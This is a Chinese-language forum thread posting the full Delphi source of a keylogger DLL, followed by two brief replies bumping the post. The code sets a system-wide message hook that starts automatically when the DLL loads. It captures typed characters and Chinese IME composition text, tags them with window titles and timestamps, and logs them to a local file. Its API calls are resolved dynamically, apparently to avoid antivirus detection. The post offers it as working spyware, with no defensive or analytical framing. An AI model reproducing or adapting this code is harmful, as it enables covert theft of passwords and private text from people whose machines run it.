小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛

标题: delphi 中英文通吃的键盘记录dll [打印本页]

作者: 天黑了去裸奔    时间: 2011-12-27 12:12
标题: delphi 中英文通吃的键盘记录dll
library ekmin;
uses
  Windows, Messages, SysUtils;

type
  PData = ^TData;
  TData = record
  Hook: THandle;
  Hooked: Boolean;
end;

{function ImmReleaseContext(hwnd:hwnd;g:longint):longint; stdcall; external 'imm32.dll';
function ImmGetContext(hwnd:hwnd):longint; stdcall; external 'imm32.dll';
function ImmGetCompositionStringA(hwnd:hwnd;dw:longint;any:pchar;dw2:longint):longint; stdcall; external 'imm32.dll'; }

var
  g_hhook :hhook=0;
  lastfocuswnd:thandle;
  DLLData: PData;
  title:array[0..255] of char;
  FHandle: LongWORD;
  wenben:string;
  MSOpenFileMapping:function (dwDesiredAccess: DWORD; bInheritHandle: BOOL; lpName: PChar): THandle; stdcall;


procedure SaveToFile(txt:string);
var
  f:textfile;
begin
  if not FileExists('d:\1.txt') then
  begin
    Assignfile(f,'d:\1.txt');
    Rewrite(f,'d:\1.txt');
    Writeln(f,'KeyBoard Records');
    Closefile(f);
  end;
  Assignfile(f,'d:\1.txt');
  Append(f);
  Writeln(f,txt);
  Closefile(f);
end;

function InfoManage:string;
var
  a:longint;
  b:string;
  c:longint;
  Buffer:pchar;
  d:thandle;
//*********************
  MSImmReleaseContext:function (hwnd:hwnd;g:longint):longint; stdcall;
  MSImmGetContext:function (hwnd:hwnd):longint; stdcall;
  MSImmGetCompositionStringA:function (hwnd:hwnd;dw:longint;any:pchar;dw2:longint):longint; stdcall;
//*********************
begin
//*********************
  MSImmGetContext := Getprocaddress(loadlibrary('imm32.dll'),'ImmGetContext');
  MSImmGetCompositionStringA := Getprocaddress(loadlibrary('imm32.dll'),'ImmGetCompositionStringA');
  MSImmReleaseContext := Getprocaddress(loadlibrary('imm32.dll'),'ImmReleaseContext');
//*********************
  d:=GetActiveWindow;
  a:=MSImmGetContext(d);
  c:=MSImmGetCompositionStringA(a,2048,nil,0);
  if c<>0 then
  begin
    GetMem(Buffer,c);
    MSImmGetCompositionStringA(a,2048,Buffer,c);
    b:=StrLCopy(Buffer,Buffer,c);
    result:=b;
    FreeMem(Buffer,c);
  end;
  MSImmReleaseContext(d,a);
end;


procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParamPARAM);stdcall;
var
  focuswnd:thandle;
  time:string;
begin
     focuswnd:=GetActiveWindow;
     if lastfocuswnd<>focuswnd then
     begin
       lastfocuswnd:=focuswnd;
       time:=DateTimeToStr(now);
         if wenben<>'' then
         begin
           SaveToFile('-------'+time+format('窗口:%s',[title]));
           SaveToFile(wenben);
           wenben:='';
         end;
     end;
     getwindowtext(getactivewindow,title,256);
    if (uMessage=WM_IME_COMPOSITION) then
    begin
      wenben:=wenben+InfoManage;
    end;
    if (uMessage=WM_CHAR) and (lParam<>1) then
    begin
      wenben:=wenben+chr(wparam);
    end;
end;

  
function GetMsgProc(code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT; stdcall;
var
  pcsMSG;
  hd,uMsg,wP,lP:integer;
  MSCallNextHookEx:function (hhk: HHOOK; nCode: Integer; wParam: Windows.WPARAM; lParam: Windows.LPARAM): LRESULT; stdcall;
begin
  MSCallNextHookEx := Getprocaddress(loadlibrary('user32.dll'),'CallNextHookEx');
  pcs:=PMSG(lParam);
  if (Code>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  result :=  MSCallNextHookEx(g_hhook,code,wparam,lparam);
end;

procedure KeyBoardRun;stdcall;
var
  MSSetWindowsHookEx:function (idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall;
begin
  MSSetWindowsHookEx := Getprocaddress(loadlibrary('user32.dll'),'SetWindowsHookExA');
  if g_hhook=0 then
  begin
    g_hhook := MSSetWindowsHookEx(wh_getMessage,GetMsgProc,hInstance,0);
  end;
end;

procedure KeyBoardUnRun;stdcall;
var
  MSUnhookWindowsHookEx:function (hhk: HHOOK): BOOL; stdcall;
begin
  MSUnhookWindowsHookEx := Getprocaddress(loadlibrary('user32.dll'),'UnhookWindowsHookEx');
  if g_hhook<>0 then
  begin
    MSUnhookWindowsHookEx(g_hhook);
    g_hhook :=0;
  end;
end;


procedure KeyBoardCreat;
var
  MSCreateFileMapping:function (hFile: THandle; lpFileMappingAttributes: PSecurityAttributes;flProtect, dwMaximumSizeHigh, dwMaximumSizeLow: DWORD; lpName: PChar): THandle; stdcall;
begin
  MSCreateFileMapping := Getprocaddress(loadlibrary('kernel32.dll'),'CreateFileMappingA');
  MSCreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, $ffff, 'MYDLLDATA');
end;


procedure KeyBoardOpen;
var
  FHandle: LongWORD;
  MSOpenFileMapping:function (dwDesiredAccess: DWORD; bInheritHandle: BOOL; lpName: PChar): THandle; stdcall;
  MSMapViewOfFile:function (hFileMappingObject: THandle; dwDesiredAccess: DWORD;dwFileOffsetHigh, dwFileOffsetLow, dwNumberOfBytesToMap: DWORD): Pointer; stdcall;
begin
  MSOpenFileMapping := Getprocaddress(loadlibrary('kernel32.dll'),'OpenFileMappingA');
  MSMapViewOfFile := Getprocaddress(loadlibrary('kernel32.dll'),'MapViewOfFile');
  FHandle := MSOpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'MYDLLDATA');
  DLLData := MSMapViewOfFile(FHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  CloseHandle(FHandle);//关闭打开句柄
  if Assigned(DLLData) then//将入口地址与变量地址联系
end;


procedure KeyBoardClose;
var
  MSUnmapViewOfFile:function (lpBaseAddress: Pointer): BOOL; stdcall;
begin
  MSUnmapViewOfFile := Getprocaddress(loadlibrary('kernel32.dll'),'UnmapViewOfFile');
  MSUnmapViewOfFile(DLLData);//关闭该变量
end;


exports
  KeyBoardRun,
  KeyBoardUnRun;

begin
  MSOpenFileMapping := Getprocaddress(loadlibrary('kernel32.dll'),'OpenFileMappingA');
  FHandle := MSOpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'MYDLLDATA');
  if fhandle=0 then
  begin
    KeyBoardCreat;
    KeyBoardOpen;
    dlldata.Hooked:=true;
    KeyBoardClose;
    KeyBoardRun;
  end;
  CloseHandle(FHandle);//关闭打开句柄
end.


作者: 985132666    时间: 2011-12-27 22:28
{:4_85:}2011真给力!顶
作者: BOX浮云    时间: 2011-12-27 23:57
那个啥!帮你顶上去哈




欢迎光临 小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛 (https://xqmsyk.com/) Powered by Discuz! X3.3